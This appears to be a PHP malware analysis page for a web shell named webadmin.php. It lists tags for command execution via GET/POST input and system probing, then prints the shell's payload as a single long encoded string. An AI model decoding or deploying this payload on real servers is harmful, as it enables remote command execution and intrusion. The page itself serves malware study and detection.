PHP Malware Analysis

Back to list

Tags

URLs
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd
http://www.w3.org/1999/xhtml
Title
webadmin.php
Execution
exec
Input
_GET
_POST
Environment
php_uname
getcwd

Deobfuscated code

<?php

$obirninja = "==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